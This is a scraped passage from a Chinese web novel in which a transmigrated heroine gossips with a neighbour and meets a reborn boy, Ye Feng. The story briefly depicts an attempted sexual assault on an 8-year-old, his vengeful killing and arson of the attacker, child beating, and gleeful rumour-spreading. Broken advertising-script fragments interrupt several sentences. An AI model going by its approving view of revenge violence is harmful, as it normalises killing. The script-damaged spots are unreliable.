他在楼上瞅见了,两手空空,没带上行李,所以不是闹脾气不辞而别。 她? 林伯先是愣了下,才反应过来小少爷说的是谁。 “小少爷,你说的是白小姐,是的,她出去了。” “白小姐说初来乍到的,出去和左邻右舍打打招呼,熟悉熟悉。” 林伯照着白幺幺的原话复述一遍,他当时听了,还愣神了下。 月钧枫:“……” 不是,她以什么身份去左邻右舍那串门的?! 林伯也觉得白小姐的行为有点不怎么妥当,可是看到小少爷不怎么好的脸色。 再想到刚两人用早餐时,应该才闹不愉快。 林伯不免替白幺幺说起话来,实在是他家小少爷头一次带异性朋友回来。 还有,他家小少爷……不容易啊。 “小少爷,白小姐性子是活泼了些,不过乖巧懂礼,瞧着就是个好姑娘,这和姑娘相处……” “嗤!” 月钧枫勾唇冷嗤一声,打断林伯的话。 乖巧懂礼? 林伯若是知道他口中的白小姐准备去学校找个童养夫,应该就不会这般想了。 还有,去和左邻右舍打招呼? 怕是去探听八卦的吧! 林伯以为是白小姐的行为惹怒了小少爷,他试探的问:“那,小少爷,要我现在出去将白小姐找回来吗?” 月钧枫面无表情的说:“不用,随她玩去!” 目送着小少爷离开的背影,林伯一脸的莫名其妙。 白小姐的行为只能算是越界了,小少爷不喜欢把人喊回来就是。 怎么明显不开心了,却还继续放任着,甚至说白小姐是在玩? 林伯想不通,索性不想了。 他自言自语的感慨一句,“老了,老了哟,都跟不上年轻人的想法了。” 说找左邻右舍打招呼,白幺幺同志肯定不是说说的。 她一出门,就见隔壁的小姐姐刚从外面回来,要进去。 白幺幺忙扬着笑脸凑上前去。 “这位美丽的女士,你怎么称呼?我是你的新邻居。” 她用下巴指了指,“喏,就住你旁边这一栋,昨天才刚住进来的。” 张婉茹用完早餐,出门去散散步。 当然,她的醉翁之意肯定不在散步,而是出去偶遇人聊八卦。 这是她近段时间每天必做的事。 没想到回家要进门时,突然有个陌生女人过来和她打招呼。 因着她过来时,刚好有扫到人的确是从隔壁出来的。 自家隔壁住着是谁,张婉茹怎么可能不知道。 港岛月家的小少爷,张父叮嘱过她,见人客气陪笑就是了,是他们家得罪不起的。 听父亲说,小少爷上头有六个同父异母的姐姐,难道这位就是其中一个? 张婉茹不免打量起白幺幺来。 长相气质没话说,只是皮肤不似富养的娇小姐那般白皙细嫩,还有点黑有点糙。 整体偏瘦,嗯,有点……营养不良的感觉。 还有,张婉茹越是打量,越有种熟悉感。 白幺幺若是知道她想法,一定会笑着来句,能不熟悉么! 张婉茹的这张脸,她同样也很熟悉。 那天早上围在她跟前听秦雪被强制爱故事的听众,就有张婉茹一个。 而且吧,白幺幺溜得太快了,不然还能看到张婉茹扇秦雪巴掌的画面。 后知后觉的反应过来她盯着人看得有点久,张婉茹赶忙收回视线,有些不好意思做起 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 自我介绍。 “你好,我叫张婉茹,你呢,怎么称呼?” 白幺幺十分自来熟的喊道:“原来是婉茹啊,我姓白,叫幺幺。” 白幺幺? 不是姓月? 张婉茹疑惑,却也没直接表现在脸上。 白幺幺道:“婉茹啊,不请我到你家坐坐?” 张婉茹:“……” “不好意思,刚想事情愣神了,请,白小姐请进。” 进到屋里,两人一坐下,就有人端着茶点过来。 小巧精致,看着就知道味道不会差。 张婉茹客气的招呼一句,白幺幺就不客气的喝茶吃起茶点来。 张婉茹见了,倒没生出啥嫌弃鄙夷的心思。 一个人的那身皮好养,可一个人举止投足间的气质可不是那么好养的。 点心样式有六款,每个就一口的量。 白幺幺每款都给试吃了下,有一款很得她心意的,她吃了两块。 茶喝了,点心尝了,该做正事了。 “婉茹啊,你家的这几款点心味道都不错,等下我离开时,能不能打包点带走。” 张婉悦:“……” “行,行啊,我现在就……” “不急,不急,我和婉茹你一见如故,感觉有好多话聊啊!” 张婉茹:“……” “对了,婉茹你昨晚有没有听到,就是我家隔壁那栋的动静?” 她家隔壁那栋? 她家隔壁一边是自己,另一边则是韩东秦雪家。 “什么动静?” 张婉茹眼眸腾的一亮,来了兴趣。 白幺幺眨巴了下眼睛,“婉茹你没听到吗?” “我还以为你也听到了,想着先过来和你了解下情况,到时去那家串门时,避免说错话了。” 张婉茹摇头,“没有。” 张婉茹只以为是这回韩东秦雪制造出来的动静比较小,她才没听到。 此时,她就差在脸上写着“快说,超级想知道”几个字。 造谣一张嘴。 白幺幺:……嘴么,搞得谁没有似的。 “那,那婉茹你没听到就算了,咱们换个话题聊吧!” 张婉茹:“……” 耳朵都支楞起来了,就让她听这。 第242章 年代文里的童养媳(25) 如果是其他人的八卦,张婉茹不会有多大兴趣。 嗯,就算她有兴趣。 可良好的教养,她也不会像现在这样,主动表示出感兴趣,还…… “幺幺啊,你昨晚听到什么动静了?和我说说看。” “哎呀,秦雪她们家这段时间发生了挺多事,我这不是担心她们家会出什么事?” “对了,秦雪,就是刚刚你说的隔壁那家的女主人。” 白幺幺疑惑道:“我隔壁那家这段时间发生了挺多事,什么事?” “不会是妻子出轨,还是老公在外面养女人了?” “或者是,妻子给老公戴绿帽子,让老公帮忙养野种?” “又或者是妻子终于发现老公在外面私生子已经有好几个了?” 白幺幺同志是懂聊天的,几句话就勾起了张婉茹的分享欲。 当然,主要还因八卦对象是韩东秦雪这两口子。 张婉茹和这两口子可是不对付得很,不然那天也不会借机对秦雪又是掐又是扇巴掌的。 “幺幺,那家的事你还没听说过吗?” 张婉茹一脸惊讶的捂着嘴,紧张的坐到白幺幺身边来。 “我和你说,那个韩东是个不当人的变态恶霸,你以后遇到他可要小心注意点。” “嗯,能离远点,最好离远点。” 白幺幺:“……” 这是她的杰作,她能不知道吗? 白表演帝幺幺上线,她目露惊恐的捂住小嘴。 “婉茹,还好你现在提醒我了,不然我等下自己一个人跑隔壁这个韩东家,不就危险了。” 张婉茹:“……” 是不是说得有点过了! 管他的,又不是她传出来的。 她只是刚好听说了,好心提醒下新邻居有什么错! 不是有句话这么说来着,宁可信其有,不可信其无。 张婉茹忙不迭的点头,“可不是。” 白幺幺茫然的眼神里带着点同情问道:”婉茹啊,那个韩东是……是这么个玩意,他老婆怎么还会嫁给他,不会是被骗婚的吧?“ 白幺幺说完,小嘴夸张的张成一个o型。 张婉茹脸上的表情比她还夸张,“幺幺,你想得还是保守了。” “我告诉你哦,可不是什么骗婚,是……” 张婉茹绘声绘色的讲起来,白幺幺时不时做出相应表情附和。 白幺幺:“……” 不得不说,张婉茹同志是个好同志,好听众。 不仅把她说的东西一字不落记住了,还在某些地方进行了润色。 “啊,婉茹,听你讲完,我觉得那韩东简直是个大变态。” 想到什么,白幺幺面露紧张之色。 “韩东这么坏,他不会虐待那个叫白慕雪的小姑娘吧!” 张婉茹听了她的话,面上露出一丝古怪之色来。 “幺幺,我和你说,那个孩子呀!” “你别听着她年纪小,可不是什么善茬,不仅用花瓶砸伤韩东,还为了争宠,把弟弟推下楼去。” 白幺幺:“……” 这回她的小嘴真真张成了o型,不是装的。 “她……” 张婉茹以为白幺幺是想谴责小姑娘,“幺幺,其实白慕雪这孩子如此做,也情有可原。” “哼,毕竟韩东欠她的那么多!” “还有,才多大的孩子,她哪里懂什么!” “就知道韩东抢走了她妈妈,欺负她妈妈,弟弟也是韩东强迫她妈妈生下来的。” “她妈妈最爱她爸爸和她,那个被强迫生下来的弟弟,妈妈肯定不会喜欢,肯定很厌恶的。” 白幺幺:“……” 她点了点头,表示很有道理的样子。 张婉茹又继续说:“秦雪的确没有喜欢那个孩子的理由,毕竟哪个女人会生下强奸犯的孩子,就算迫不得已生下来,应该也无法打心底喜欢上。” 她停顿了下,紧接着发出一声感慨。 “那孩子就是太爱秦雪了,说来说去最不当人就是韩东那个变态了。” 白幺幺继续点头,“可不是。” 而后她面露担心之色,“那孩子做了这些事,有没有被打?就是韩东……” “打,肯定被打了呀!” 张婉茹神色有点气愤的说:“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不过不是韩东打的,是秦雪打的。” “那孩子进门的第二天,砸伤韩东,秦雪就打了那孩子几下屁股。” “隔天那孩子直接把弟弟推下楼梯,韩东着急抱着孩子跑出去了,哪里有空打人。” 张婉茹颇为唏嘘道:“那孩子推人下楼后,也呆住了,秦雪原本是要追着韩东出去的,只是不知为何,又折返回来,打了那孩子两巴掌,直接把那孩子打懵了。” 白幺幺:“……” 这样白慕雪都不被打,太阳就从西天出来了。 小儿子可是秦雪好不容易求来的,心头肉般的存在。 也是她稳固婚姻,在韩家真正站稳脚跟的筹码,重要着了。 白幺幺愣了愣,而后叹息了声。 “爱之深,责之切,秦雪一定是太爱这个她 亏欠良多女儿,她自己先打了,韩东就是反应过来想打,也不好意思再打了。” “秦雪打孩子的时候,一定泪流满面,很痛心吧!” 又是一番感慨后,白幺幺点头赞许道:“不过她这招走敌人的路,让敌人无路可走 ,还是很聪明的。” 张婉茹:“……” 是这样的吗? 必须不是的,秦雪那女人,她早就看透了。 张婉茹给了白幺幺一个“妹子,你咋那么单纯”的眼神,而后开始叭叭叭说起来。 白幺幺:“……” 太精彩了,她觉得自己简直找对了八卦对象。 等张婉茹说完,白幺幺已经是一副惊呆了小伙伴的表情。 她呐呐出声总结。 “所以秦雪爱上了强奸犯,她其实就是个贪慕虚荣,抛夫弃女的渣女,和韩东乃一丘之貉。” “所以,整个事件下来最无辜,最可怜的是白慕雪和她爸,这对父女俩,简直被秦雪韩东这对狗男女害惨了。” “对了,婉茹啊,你是怎么知道这么多的,好厉害。” “当然是有钱……” 张婉茹一时口快,差点就要把有钱能使鬼推磨完整说出来。 她可是花重金从秦雪请来照顾儿子的保姆那买来这些消息的。 不过这种事情能做,却不能说。 第243章 年代文里的童养媳(26) 快十一点的时候,白幺幺连吃带拿的走出张婉茹家。 张婉茹再次出声挽留,“幺幺啊,都快饭点了,要不午饭直接在我家吃吧。” 好不容易遇到个说话投缘的,最重要的是,总能把话说到她心坎上,张婉茹真的很喜欢这个新认识的姐妹。 白幺幺神色坦然,一点也没不好意思。 “婉茹啊,我也想在你家继续蹭吃蹭喝,只是我家月同志要是没我陪着一起用餐,会吃不下饭,吃啥啥不香的。” 张婉茹一开始误会白幺幺是月家人,后面误会白幺幺是月小少爷的对象。 求证啥求证,这不是明摆着吗? 还有幺幺脸皮薄,容易害羞。 不过这个月小少爷吃个饭还一定要幺幺陪着,真是粘人的紧,怎么听着有点变态的样子。 没办法,最近变态这个词听多了,说多了,张婉茹脑中下意识就冒出这个词来了。 以后找个时间,她还是要问问幺幺。 也不知道月小少爷除了吃饭粘人了点,还有没有其他的……变态行为。 幺幺太单纯,而且对月小少爷也太宠着了。 在她家吃到好吃点心,都不忘找她讨要一份带回去给月小少爷吃。 月钧枫:“……” 真真是人在家中坐,锅从隔壁来。 依依不舍的两人最后还是各回各家了。 出门一趟,收获颇丰。 哼着小曲离开的,哼着小曲回来。 一进门,白幺幺就看到坐在客厅的男人。 她像只归巢的小鸟,迫不及待的小跑过去,嘴角的笑意都快咧到耳后根了。 “月同志,看我特意给你带了啥?” 白幺幺扬了扬手上的东西,“我可没在外面吃独食,够朋友吧!” 白幺幺说着已经打开盒子,精致小巧的点心闯入月钧枫眼中。 他神色淡淡,不过唇角微微翘起一个极小的弧度。 “我不爱吃甜食。” 月钧枫说的是实话。 白幺幺也没强强安利别人吃东西的习惯,她听后只是颇为遗憾的“哦”了声。 这时老管家林伯路过,白幺幺发现人,赶忙喊道:“林伯,快过来吃点心。” 月钧枫:“……” 不是特意给他带的吗? 他只是说自己不爱吃甜食,又没说不吃甜食! 喜提他家小少爷一个意味不明眼神的林伯:“……” 小少爷这是什么意思? 很快林伯就明白了。 “林伯,这些点心的味道挺不错的,是我特意带了些回来给月同志吃的,不过他不爱吃甜食。” 白幺幺解释完,又问:“林伯,你吃甜食吗?” 林伯笑呵呵摆手,“谢谢白小姐,我也不爱吃甜食的。” 林伯是年纪大了,可他脑子还顶顶好用着了。 偷偷看了眼小少爷和白小姐,林伯暗暗在心里感慨,年轻真好呀! 林伯去忙自己的事了,客厅又只剩下月钧枫和白幺幺。 “咳咳!” 月钧枫这时轻咳一声。 白幺幺转头关心的看着人,“月同志,你喉咙不舒服吗?” 她说着还给人倒了杯水,“喝点水润润嗓子。” “谢谢。” 月钧枫很受用的接过水杯。 “不用谢。” 白幺幺随意回了句。 她低头看着带回来的点心,嘀咕了句,“不能浪费了,留着当下午茶吧。” 月钧枫:“……” 这女人,就不能多问他一句吗? 砰的一声,不是很大声。 是杯子放回桌上,力道没控制好发出来的。 白幺幺被小小吓了一跳,她回头想要教育下人,就看到月同志起身要离开。 “月同志,你要去哪里?” 等下都快午饭了,她以为对方坐这里就是等着开饭的。 “回书房处理点事。” “哦,那你处理快点,快到饭点了。” 月钧枫忽的感觉他有点傻,真的。 他重新坐回去,然后很自然的从盒子中拿一块点心吃起来。 她的下午茶! 白幺幺正准备说什么,月钧枫先她一步道:“味道一般,没家里师傅做的好吃。” 白幺幺眼眸一亮,一下子忘记她刚要说的话,身体往旁边挪了挪。 “月同志,你怎么不早说,对了,家里师傅最擅长做……” 两人就着这个话题聊了起来,早上闹的不愉快就跟 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 从来没存在过似的。 盒子里的点心什么时候空了,白幺幺根本没注意到。 …… 读书是大事,耽误不得。 月钧枫心里抵触白幺幺想去学校找童养夫这事,却很支持白幺幺去读书。 最后他想到了一个两全之策,直接请老师来家里教,他有空时也可以亲自教。 先摸摸底,后面看人的学习进度,到时直接参加高考。 哼,想找童养夫,做梦! 白幺幺:“……” 人在屋檐下,不得不低头。 不过,她又默默在 小本本上给人记了一笔。 减分,必须减分。 摸底的事,月钧枫决定亲自做。 几个小时后,他神色很复杂。 白幺幺傲娇的扬了扬下巴,“怎么样,月同志,我这水平是不是可以直接参加高考了。” “唉,人啊,有时候运气太好挡也挡不住,有谁能像我这般好运,家里后山住着个那么厉害的老爷爷。” “当然,光有好运气,没有我这聪明的脑瓜子也是白搭。” “月同志……” 白幺幺还想说什么,这时林伯匆匆来敲门。 林伯带来了一个“喜讯”。 叶轩的儿子找到,还接回来了。 先找到叶枫的是月家这边派出去的人,所以这会儿叶轩带着儿子上门来表示感谢, 那天带着一肚子气回去后,叶轩不是立马让人去查白幺幺了。 手下人费了不少时间和功夫,最后只查到了丁点资料。 叶轩一下想到了阿枫,他让手下人不用查了。 而这几天,他也忍着不去找阿枫。 小不忍则乱大谋,更何况他所图之大。 他不仅想要阿枫的人,还想要阿枫的心。 男人最懂男人了。 他怕见了阿枫,那乡下女人继续胡搅蛮缠,他一时没忍住。 到时不仅容易影响到他和阿枫的感情,还可能把阿枫往那乡下女人身边推。 想到那乡下女人的不要脸,对阿枫动手动脚的画面。 叶轩想法很简单,他相信阿枫的眼光。 就算阿枫将来还是会喜欢上一个女人,那也肯定不会是这样的。 第244章 年代文里的童养媳(27) 儿子找到了,还是阿枫的人帮忙找到的。 叶轩想,这是不是老天爷在暗示什么。 他第一时间让阿枫的人帮忙先瞒着,不要告诉阿枫。 他想亲自带着孩子上门表示感谢,给阿枫一个惊喜。 月钧枫的手下:“……” 瞒着是不可能瞒着,继续保持沉默中。 当年,儿子的名字明面上是他自己抓阄抓到的,实则是他私下一番操作的结果。 他想着,未来他和阿枫在一起了。 孩子的名字一听,就像是他和阿枫的共同的孩子。 而同样都有派人出去找,最后是阿枫的人找到了小枫。 这说明了什么? 说明阿枫和小枫很有缘,他们最后合该成为一家人。 月钧枫看了眼白幺幺,想到那天书房里她和好友差点没打起来的画面。 他说:“你先自己在书房里看书,我下楼去见下朋友。” 男主来了! 白幺幺怎么可能不下楼去看看,顺便吃第一手的瓜。 她超级想知道这次没有她的救助,到底是谁救了男主。 白幺幺不赞同的摇头,“月同志,你又和我见外了不是。” “咱俩谁跟谁,你的朋友就是我的朋友,走,我陪你一起下去见见咱们的朋友。” 月钧枫:“……” 白幺幺说完,趁着人愣神的功夫,直接先人一步往外走了。 月钧枫看着敞开着的门,以及走没影的人。 他伸手捏了捏眉心,有提前捏的嫌疑。 如果此时他身后有人,还会发现他耳后根竟然微微发红。 也不知道是受啥刺激了,还是想到啥少儿不宜的画面了。 白幺幺提着裙摆,像只欢快的蝴蝶下楼来到客厅。 视线像是不经意扫到客厅坐着的人,她脸上的笑意随即消失,质问声脱口而出。 “你怎么又来了?” 紧接着,她看到了什么,惊呼出声。 “哇,你怎么可以打孩子,你不仅打孩子,还咬孩子,你这个家暴男!” 八岁的男主脸型和叶轩很像,此时他安静的坐在叶轩身旁,低垂着眉眼。 反正瞧着,蔫哒哒的,像一朵枯萎的娇花。 而他脸上巴掌印和齿痕是那样的明显。 月钧枫刚下来就听到白幺幺气愤填膺的声音,特别是在听到家暴男三个字时,他有种想扶额的冲动。 白幺幺的声音引得叶轩抬头看向她,眼神冰冷。 而她后面说出的内容,让叶轩额头青筋突突跳了几下。 不过找回儿子的“喜悦”,以及见到阿枫的喜悦,让他忍住,直接将人无视了。 见人不接招,白幺幺有那么一点点的小纳闷。 这人不会偷偷躲家里修炼了吧,不错,这忍功有长进。 不过,她刚刚那只是开胃菜…… 听到脚步声,白幺幺忙转身小跑过去挽着月钧枫的胳膊,顺势拉着人往男主那走去。 “月同志,你快看,这孩子脸上的伤,孩子瞧着才多大,怎么可以这样打孩子,还咬孩子的脸,变态呀!” 月钧枫试着想抽回手,试了一次抽不回来,他直接放弃挣扎了。 视线落在好友刚找回来的儿子脸上,巴掌印和一排牙齿印清晰可见。 瞧着的确狰狞骇人,看来这孩子吃了不少苦。 月钧枫扯了扯白幺幺的手,低头凑近她耳边小声解释孩子离家出走被拐卖的事以及伤真的不是好友打的。 叶轩见阿枫下来,正想打招呼。 就见那乡下女人又开始对阿枫动手动脚了,他让自己一定要忍住。 至于那乡下女人和阿枫“告状”的话,他根本没当一回事。 可是接下来的一幕,让叶轩有点忍不住想暴走。 手指无意识的发力收紧,被怒气与妒意短暂冲昏了大脑,已然忘记他的手还牵着儿子的手。 叶枫吃痛的抬眸看向叶轩,眼神冰冷没有半丝温度。 其实刚刚白幺幺说出变态两字时,他眸中闪过一道暗光,只是他垂着眸,没人注意到而已。 叶枫咬牙忍着痛意,没有吱声,冰冷的眸中闪过一道讥诮之色。 叶枫死了。 再次恢复意识,他感受到身上凉飕飕的,有只粗糙的手正在他身上游走,慢慢向下,向下…… 顾不得去想,他不是死了吗?怎么又活过来了!< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 叶枫睁开眼睛,就看到令他瞳孔地震的一幕。 一双嘿呦干瘦的手摸上他的裤沿,正准备脱掉他的裤子。 小小的身体里住着成年人的灵魂,虽不清楚此刻是什么情况,但叶枫还是强忍住恶心与不适。 他没有急着挣扎,而是安静等待着,最后找准时机,对着一脸麻子的丑陋老男人胯下用力一踹。 等人痛得蹲下身去时,叶枫并没有急着逃跑。 他从喀吱响的脏乱木板床上下来,开始在屋里找工具。 他一眼就相中了屋里唯一的一木条凳,走过去抱起那木条凳。 慢慢朝还蹲着身痛得发不出声的老男人走去,举起木条凳就朝着 人后背招呼。 “妈的,去死,去死。” 也不知道砸了几下,反正叶枫是抱着把人砸死的心态的。 什么恶心玩意,也敢……也敢…… 在人倒地奄奄一息时,叶枫操着木条凳朝人胯下狠狠砸了好几下。 确认把对方那恶心玩意砸的稀巴烂后,他才停下来,大口大口的喘着气。 也不知道过了多久,叶枫体力恢复七七八八后,他才有空去观察所处的环境。 这是哪里? 难道他死了,然后在别人的身体里活过来了? 叶枫很快发现根本不是的,身体还是他自己的身体,只是变小了。 他竟然重生回到了小时候! 如此的奇遇本该让他惊喜若狂,可是刚重生回来的遭遇直接冲淡这份惊喜。 什么情况? 叶枫努力在脑中搜寻,无比确认,他小时候根本没有过相关的遭遇。 如此脏乱破的房子,叶枫嫌恶的想一把火烧了。 他决定先离开,而离开前,他也真的放火把这房子连同里面那个恶心东西一起烧了。 望着一下子就蹿高的火苗,叶枫眸中闪过一道不符合他这个年纪的畅快和狠戾。 他并没有急着走,而是找一处隐秘的地方躲起来。 这边着火了,很快就会引来很多人,他想着到时趁乱再走比较安全。 如他所想的,很快有村民发现着火了,提桶的提桶,拿盆的拿盆,纷纷跑来救火。 第245章 年代文里的童养媳(28) 叶枫走走停停的,也不知道走了多久。 一路上,他隐隐感觉周遭环境有点熟悉。 当路过一处落了锁的房子时,他情不自禁的驻足。 尘封的记忆被翻了出来,叶枫盯着破旧木门上落的锁看了许久。 最后,他翻墙进去,想要确认一些事。 叶枫没想到他会重生,还是重生到八岁这年。 为什么? 为什么会不一样了。 这个时候,他不应该已经被善良的雪儿救了吗? 雪儿她不在家,屋里也落了一层薄薄的灰,有段时日没住人了,难怪…… 只要一想到,如果他没有重生回来,那恶心丑陋的老男人就要对他…… 叶枫涌起一股恶心感,他再也忍不住蹲地上狂吐不止。 也不知道吐了多久,叶枫整个人虚软的坐到地上。 即使不一样了又怎么样。 老天爷让他重生,还恰好选择那个时间点让他重生。 叶枫不得不承认,老天爷还是很厚爱他的。 至于为什么和上一世不一样了,这些他有的是时间慢慢查。 有了前世的记忆,他很快被找回去。 呵呵,他那恋爱脑父亲,还真是恶心至极啊! 才把他找回来,只是让他换了身衣服,简单处理下身上的伤,就迫不及待的带着他来见心中的白月光了。 前世他的好父亲可是将心中的白月光藏的很深,直到再也控制不住心中的爱意,想使用不入流的手段得到那白月光。 没成想不仅没能成功,还害了整个叶家。 那年,他和雪儿才刚组成他们的小家庭,计划着迎来他们的爱情结晶。 叶枫抬眸,目光精准的落在月钧枫身上。 前世他到底是眼瞎,还是怎滴? 竟然到那种境地了,才知道他父亲心中那求而不得的白月光竟然是月钧枫,港城月家的当家人。 不得不说他父亲的眼光还真是可以呀! 还有,他的名字! 叶枫复又垂眸,掩去眸底一闪而过的讥诮之色。 身旁忽的坐下一人,叶枫强忍着生理不适,没有赶人。 “小朋友你为什么要离家出走?还有你的脸怎么受伤的?你是不是遇到什么变态阿姨或者变态叔叔了?” “他们除了咬你的脸,还有没有咬你其他地方?” 白幺幺在做什么? 她在关心男主呀! 才八岁的小朋友,如果遇到了啥很不好的事情,他们还小,可能不懂的。 就需要大人先问清楚,然后对症开导,谨防孩子留下什么心理问题。 叶枫:“……” 这女人是谁? 从出现开始,就好像和他父亲很不对付的样子。 现在和他说这些话是几个意思,在关心他? 叶枫在心里嗤笑。 若不是他内里是个成年人的灵魂,听到这番看似关心,实则变相揭伤疤的询问。 脑中不免又勾起了重生回来睁眼看到的画面,叶枫有点后悔只是将那老男人打死烧了。 不过,叶枫下意识的皱眉,怎么感觉身旁女人的声音有点耳熟? 他调整了下面部表情,转头看向身旁坐着的女人。 只是看清女人的面容时,他脸上那仿若失了魂般的神情差点维持不住。 白姨? 怎么会是白姨? 她这个时间点怎么会出现在这里? 那,那雪儿,雪儿她是不是也在这里? 叶枫什么话也没说,收回视线,低下头开始玩起自己的手指。 不行,必须赶紧离开。 不能,一定不能让雪儿看到他现在这副模样。 白幺幺短时间内的变化太大,其他人可能无法立马将人认出来。 或者心中觉得熟悉,却也无法笃定自己的猜测。 可是叶枫不一样,他是重生的,见过原主皮肤养白后的贵妇打扮。 叶枫现在脑门上全是问号,心里除了恐慌还是恐慌。 白幺幺是谁,说是老妖精都不为过,那双火眼金睛早就炼得炉火纯青。 男主刚刚的表情? 白幺幺微皱了下眉,故意伸手去扯男主的胳膊。 “小朋友,大姐姐是很厉害的医生哦,现在大姐姐要脱掉你的衣服和裤子,帮你检查下身体,你要乖哦!” 又不是干什么见不得人的坏事,白幺幺从头至尾都是按正常分贝说话。 叶轩见她将注意力落 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在他儿子身上,怎么说呢? 有种死道友不死贫道的想法。 反正只要人不要往他面前凑,故意和他呛声,恶心他,更不要对阿枫动手动脚的就行。 趁着那乡下女人将注意落在儿子身上时,叶轩借机和阿枫坐一起,聊起孩子是怎么被找到的。 叶轩全部心神都在月钧枫身上,而月钧枫则有一半以上的心神是在对面坐着的白幺幺身上。 月钧枫:“……” 为了防止白幺幺犯错,他容易么! 前面的话都还好好的,可是…… 脱掉衣服和裤子,检查身体? 确定真的只是检查身体吗? 不是,就算真的只是检查身体,那也不行! 男女授受不亲不知道吗? 叶枫和月钧枫同时腾的站起身来。 叶枫还挣脱了白幺幺的手,身体往旁边退了两步,与白幺幺拉开些距离。 月钧枫本来是要过去将两人分开些的,见了叶枫的动作,他才没有动作。 白幺幺:“……” 有些尴尬,这一个两个的,人与人之间的信任呢? 叶轩:“……” 刚刚发生了什么? “阿……钧枫?” 叶轩疑惑的喊道。 月钧枫侧头看向好友,“没事,我刚就是突然想起一件很重要事情忘记处理了。” 叶轩哪里不知道阿枫没说实话,不过他也不好刨根究底。 他关心的问道:“那时间紧迫吗?需要现在就去处理吗?” 他大度的说着,心里当然是一万个不希望阿枫丢下他离开。 而他的阿枫也没让他失望。 月钧枫轻摇了下头,“不用。” “对了,小枫身上有伤吗?严重吗?需要我给你推荐一个老中医,给孩子好好调理下身体吗?” “谢谢钧枫,不过不用,就是一些皮肉伤,没什么事的。” 叶轩很是无奈的抱怨起来。 “这孩子被两老宠坏了,才敢一个人离家出走,这回也算是让他吃吃苦头,长长记性。” 叶枫回来后,衣服是自己换的,身上的伤也是自己处理。 他的好父亲想让医生来给他处理,被他拒绝了。 第246章 年代文里的童养媳(29) 至于脸上的牙印,他没解释。 正常人哪里会往那方面想,叶枫是这样认为的。 那个恶心老男人已经死了,这事除了他,就不要再有第二人知道。 不然,他不确定自己会做什么?会不会把知道的人解决了。 可是…… 叶枫看向白幺幺,目光如一汪死水。 白姨为什么会变化这么大,还出现在这里? 真好像也不是很重要了。 好奇害死猫。 每个人都要为自己的言行付出代价。 叶枫收回视线,转头看向他的好父亲。 还真是一如既往的恶心! 只一眼他就移开了视线,而后像是不经意般扫了眼他那好父亲的……心尖人。 有那一瞬间,叶枫挺同情这个男人的。 好友对他抱着那样的龌龊心思,他却一直被蒙在鼓子里。 叶枫垂下眸子,压抑着胸腔中想毁掉眼前一切的冲动。 “爸爸,我有点不舒服,还有些累,能不能先回去休息?” 叶枫不想继续待在这里了,看他那好父亲像只发情的公狗,却要努力克制着自己爱意与行为。 他的话一出,果然如他所想的,他那好父亲脸色随即僵了下,闪过一丝不愉之色。 也是,好不容易过来见下白月光。 两人都才聊多久,就让人分开,他那好父亲能开心才怪。 只是他也没想带着人一起回去,他就想自己一个人先回去的。 他需要好好睡一觉,恢复精神后,再好好静静,想一想。 叶轩不想离开,他暗暗在心里祈祷着阿枫能主动提出让孩子先在他家里的客房休息下。 只可惜,他等了会儿,也没听到想听的。 叶轩想过要不他主动来提。 可是……面对喜欢的人,说话做事就下意识的瞻前顾后起来。 算了,来日方长。 叶轩隐晦的瞪了儿子一眼,才起身。 “钧枫,孩子的事谢谢你了,孩子在喊累,我先带孩子回去休息。” 叶轩在这一片也有幢小洋楼,距离这里不到五百米。 或许是出于让叶枫长长记性,以及近也是真的近,他们是走路过来。 来时一路上,叶枫全程都是低着头走路。 听到男主他们要回去了,白幺幺同志有点小遗憾。 月钧枫亲自送人到门口,白幺幺只是犹豫了下,也屁颠屁颠的跟出去。 她在想,以男女主互相吸引的特性,等下不会在门口偶遇吧! 不过出门时,还没偶遇女主,倒是先偶遇了张婉茹。 张婉茹第一时间就看到了白幺幺,她激动的就要朝白幺幺招手打招呼。 还是白幺幺眼疾手快的朝人使眼色,同时悄咪咪做了个噤声的动作。 张婉茹心中虽疑惑,却也立马照做了。 目光从好姐妹身上移开,她这时才注意到叶轩以及叶枫的存在。 张婉茹是认识叶轩,她客气的与人问了声好。 而后她又关心了下孩子找回来的事,只是当她目光扫到叶枫脸上的牙印时,有些话不禁脱口而出。 “叶轩,你儿子脸上的伤是被哪个变态咬的?” “你有没有给孩子脱衣服检查检查,看看小孩子有没有遭遇那档子不好的事?” 张婉茹皱眉,气愤道:“如果有,你可不能放过那些畜生。” 叶枫:“……” 该死的女人! 叶轩:“……” 他之前还真没往这方面想。 白幺幺:“……” 厉害了,姐妹! 月钧枫:“……” 听林伯说白幺幺好像和隔壁张家小姐走得很近,所以说到底是谁带坏的谁? 场面一下子陷入尴尬中,有些安静。 这时一道哭声由远及近,打破了这份安静。 最先反应过来的是白幺幺和张婉茹,两人神同步的循着哭声看去。 两人不仅动作一致,心里也想一块去了。 白慕雪很伤心很难过,还有些迷茫和恐惧。 刚刚妈妈又打她了,很疼很疼。 可是她明明没做错什么呀? 她不小心看到那个变态坏人,他又在欺负妈妈。 妈妈都带上哭腔,一直推搡着说不要不要了,可那个变态还是继续张着嘴啃妈妈的脸。 爸爸没了,她就只剩下妈妈了。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 呜呜,她只是想拯救妈妈,保护妈妈有什么错? 呜呜,妈妈不仅打她,还凶她,让她出去。 白慕雪边哭边走,不知不觉就走到了大铁门前。 透过铁门缝隙,她发现隔壁邻居家门口站着好几个人。 白慕雪像只受惊的小兔子,抽噎了下,又羞又慌的准备转身往回走。 “等……等等,小妹妹,你先别走!” 张婉茹踩着高跟鞋表演起高超技术,咻的一下绕过三个男人,窜到了隔壁大门前。 白幺幺也有点蠢蠢欲动,不过想到张婉茹的战斗力,她就决定好好在旁边听着。 再说了,到时被女主认出来,她 还要费口舌去掰扯。 